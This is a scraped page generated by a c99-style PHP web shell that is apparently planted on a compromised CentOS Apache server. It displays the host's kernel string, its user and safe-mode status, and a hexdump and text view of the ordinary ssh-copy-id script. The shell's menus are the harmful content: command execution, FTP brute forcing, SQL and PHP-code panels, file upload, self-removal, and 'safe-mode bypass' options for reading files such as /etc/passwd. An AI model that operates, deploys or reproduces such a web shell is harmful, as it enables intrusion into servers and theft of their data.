!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/bin/   drwxr-xr-x
Free 52.27 GB of 127.8 GB (40.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ssh-copy-id (1.24 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Information:
Path /usr/bin/ssh-copy-id
Size 1.24 KB
MD5 d0bd12e4c9498e433b10cc7e78f41384
Owner/Group root/root
Perms-rwxr-xr-x
Create time 25/04/2011 18:12:09
Access time 31/07/2024 15:41:05
MODIFY time 31/03/2010 16:24:13

FULL HEXDUMP
00000000
00000018
00000030
00000048
00000060
00000078
00000090
000000A8
000000C0
000000D8
000000F0
00000108
00000120
00000138
00000150
00000168
00000180
00000198
000001B0
000001C8
000001E0
000001F8
00000210
00000228
00000240
00000258
00000270
00000288
000002A0
000002B8
000002D0
000002E8
00000300
00000318
00000330
00000348
00000360
00000378
00000390
000003A8
000003C0
000003D8
000003F0
00000408
00000420
00000438
00000450
00000468
00000480
00000498
000004B0
000004C8
000004E0
23 21 2F 62 69 6E 2F 73 68 0A 0A 23 20 53 68 65 6C 6C 20 73 63 72 69 70
74 20 74 6F 20 69 6E 73 74 61 6C 6C 20 79 6F 75 72 20 69 64 65 6E 74 69
74 79 2E 70 75 62 20 6F 6E 20 61 20 72 65 6D 6F 74 65 20 6D 61 63 68 69
6E 65 0A 23 20 54 61 6B 65 73 20 74 68 65 20 72 65 6D 6F 74 65 20 6D 61
63 68 69 6E 65 20 6E 61 6D 65 20 61 73 20 61 6E 20 61 72 67 75 6D 65 6E
74 2E 0A 23 20 4F 62 76 69 6F 75 73 6C 79 2C 20 74 68 65 20 72 65 6D 6F
74 65 20 6D 61 63 68 69 6E 65 20 6D 75 73 74 20 61 63 63 65 70 74 20 70
61 73 73 77 6F 72 64 20 61 75 74 68 65 6E 74 69 63 61 74 69 6F 6E 2C 0A
23 20 6F 72 20 6F 6E 65 20 6F 66 20 74 68 65 20 6F 74 68 65 72 20 6B 65
79 73 20 69 6E 20 79 6F 75 72 20 73 73 68 2D 61 67 65 6E 74 2C 20 66 6F
72 20 74 68 69 73 20 74 6F 20 77 6F 72 6B 2E 0A 0A 49 44 5F 46 49 4C 45
3D 22 24 7B 48 4F 4D 45 7D 2F 2E 73 73 68 2F 69 64 65 6E 74 69 74 79 2E
70 75 62 22 0A 0A 69 66 20 5B 20 22 2D 69 22 20 3D 20 22 24 31 22 20 5D
3B 20 74 68 65 6E 0A 20 20 73 68 69 66 74 0A 20 20 23 20 63 68 65 63 6B
20 69 66 20 77 65 20 68 61 76 65 20 32 20 70 61 72 61 6D 65 74 65 72 73
20 6C 65 66 74 2C 20 69 66 20 73 6F 20 74 68 65 20 66 69 72 73 74 20 69
73 20 74 68 65 20 6E 65 77 20 49 44 20 66 69 6C 65 0A 20 20 69 66 20 5B
20 2D 6E 20 22 24 32 22 20 5D 3B 20 74 68 65 6E 0A 20 20 20 20 69 66 20
65 78 70 72 20 22 24 31 22 20 3A 20 22 2E 2A 5C 2E 70 75 62 22 20 3B 20
74 68 65 6E 0A 20 20 20 20 20 20 49 44 5F 46 49 4C 45 3D 22 24 31 22 0A
20 20 20 20 65 6C 73 65 0A 20 20 20 20 20 20 49 44 5F 46 49 4C 45 3D 22
24 31 2E 70 75 62 22 0A 20 20 20 20 66 69 0A 20 20 20 20 73 68 69 66 74
20 20 20 20 20 20 20 20 20 23 20 61 6E 64 20 74 68 69 73 20 73 68 6F 75
6C 64 20 6C 65 61 76 65 20 24 31 20 61 73 20 74 68 65 20 74 61 72 67 65
74 20 6E 61 6D 65 0A 20 20 66 69 0A 65 6C 73 65 0A 20 20 69 66 20 5B 20
78 24 53 53 48 5F 41 55 54 48 5F 53 4F 43 4B 20 21 3D 20 78 20 5D 20 3B
20 74 68 65 6E 0A 20 20 20 20 47 45 54 5F 49 44 3D 22 24 47 45 54 5F 49
44 20 73 73 68 2D 61 64 64 20 2D 4C 22 0A 20 20 66 69 0A 66 69 0A 0A 69
66 20 5B 20 2D 7A 20 22 60 65 76 61 6C 20 24 47 45 54 5F 49 44 60 22 20
5D 20 26 26 20 5B 20 2D 72 20 22 24 7B 49 44 5F 46 49 4C 45 7D 22 20 5D
20 3B 20 74 68 65 6E 0A 20 20 47 45 54 5F 49 44 3D 22 63 61 74 20 24 7B
49 44 5F 46 49 4C 45 7D 22 0A 66 69 0A 0A 69 66 20 5B 20 2D 7A 20 22 60
65 76 61 6C 20 24 47 45 54 5F 49 44 60 22 20 5D 3B 20 74 68 65 6E 0A 20
20 65 63 68 6F 20 22 24 30 3A 20 45 52 52 4F 52 3A 20 4E 6F 20 69 64 65
6E 74 69 74 69 65 73 20 66 6F 75 6E 64 22 20 3E 26 32 0A 20 20 65 78 69
74 20 31 0A 66 69 0A 0A 69 66 20 5B 20 22 24 23 22 20 2D 6C 74 20 31 20
5D 20 7C 7C 20 5B 20 22 24 31 22 20 3D 20 22 2D 68 22 20 5D 20 7C 7C 20
5B 20 22 24 31 22 20 3D 20 22 2D 2D 68 65 6C 70 22 20 5D 3B 20 74 68 65
6E 0A 20 20 65 63 68 6F 20 22 55 73 61 67 65 3A 20 24 30 20 5B 2D 69 20
5B 69 64 65 6E 74 69 74 79 5F 66 69 6C 65 5D 5D 20 5B 75 73 65 72 40 5D
6D 61 63 68 69 6E 65 22 20 3E 26 32 0A 20 20 65 78 69 74 20 31 0A 66 69
0A 0A 7B 20 65 76 61 6C 20 22 24 47 45 54 5F 49 44 22 20 3B 20 7D 20 7C
20 73 73 68 20 24 31 20 22 75 6D 61 73 6B 20 30 37 37 3B 20 74 65 73 74
20 2D 64 20 2E 73 73 68 20 7C 7C 20 6D 6B 64 69 72 20 2E 73 73 68 20 3B
20 63 61 74 20 3E 3E 20 2E 73 73 68 2F 61 75 74 68 6F 72 69 7A 65 64 5F
6B 65 79 73 22 20 7C 7C 20 65 78 69 74 20 31 0A 0A 63 61 74 20 3C 3C 45
4F 46 0A 4E 6F 77 20 74 72 79 20 6C 6F 67 67 69 6E 67 20 69 6E 74 6F 20
74 68 65 20 6D 61 63 68 69 6E 65 2C 20 77 69 74 68 20 22 73 73 68 20 27
24 31 27 22 2C 20 61 6E 64 20 63 68 65 63 6B 20 69 6E 3A 0A 0A 20 20 2E
73 73 68 2F 61 75 74 68 6F 72 69 7A 65 64 5F 6B 65 79 73 0A 0A 74 6F 20
6D 61 6B 65 20 73 75 72 65 20 77 65 20 68 61 76 65 6E 27 74 20 61 64 64
65 64 20 65 78 74 72 61 20 6B 65 79 73 20 74 68 61 74 20 79 6F 75 20 77
65 72 65 6E 27 74 20 65 78 70 65 63 74 69 6E 67 2E 0A 0A 45 4F 46 0A
#!/bin/sh  # Shell scrip
t to install your identi
ty.pub on a remote machi
ne # Takes the remote ma
chine name as an argumen
t. # Obviously, the remo
te machine must accept p
assword authentication, 
# or one of the other ke
ys in your ssh-agent, fo
r this to work.  ID_FILE
="${HOME}/.ssh/identity.
pub"  if [ "-i" = "$1" ]
; then   shift   # check
 if we have 2 parameters
 left, if so the first i
s the new ID file   if [
 -n "$2" ]; then     if 
expr "$1" : ".*\.pub" ; 
then       ID_FILE="$1" 
    else       ID_FILE="
$1.pub"     fi     shift
         # and this shou
ld leave $1 as the targe
t name   fi else   if [ 
x$SSH_AUTH_SOCK != x ] ;
 then     GET_ID="$GET_I
D ssh-add -L"   fi fi  i
f [ -z "`eval $GET_ID`" 
] && [ -r "${ID_FILE}" ]
 ; then   GET_ID="cat ${
ID_FILE}" fi  if [ -z "`
eval $GET_ID`" ]; then  
 echo "$0: ERROR: No ide
ntities found" >&2   exi
t 1 fi  if [ "$#" -lt 1 
] || [ "$1" = "-h" ] || 
[ "$1" = "--help" ]; the
n   echo "Usage: $0 [-i 
[identity_file]] [user@]
machine" >&2   exit 1 fi
  { eval "$GET_ID" ; } |
 ssh $1 "umask 077; test
 -d .ssh || mkdir .ssh ;
 cat >> .ssh/authorized_
keys" || exit 1  cat <<E
OF Now try logging into 
the machine, with "ssh '
$1'", and check in:    .
ssh/authorized_keys  to 
make sure we haven't add
ed extra keys that you w
eren't expecting.  EOF 

HEXDUMP: [Full] [Preview]
Base64:
[Encode [+chunk [+chunk+quotes [Decode


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0108 ]--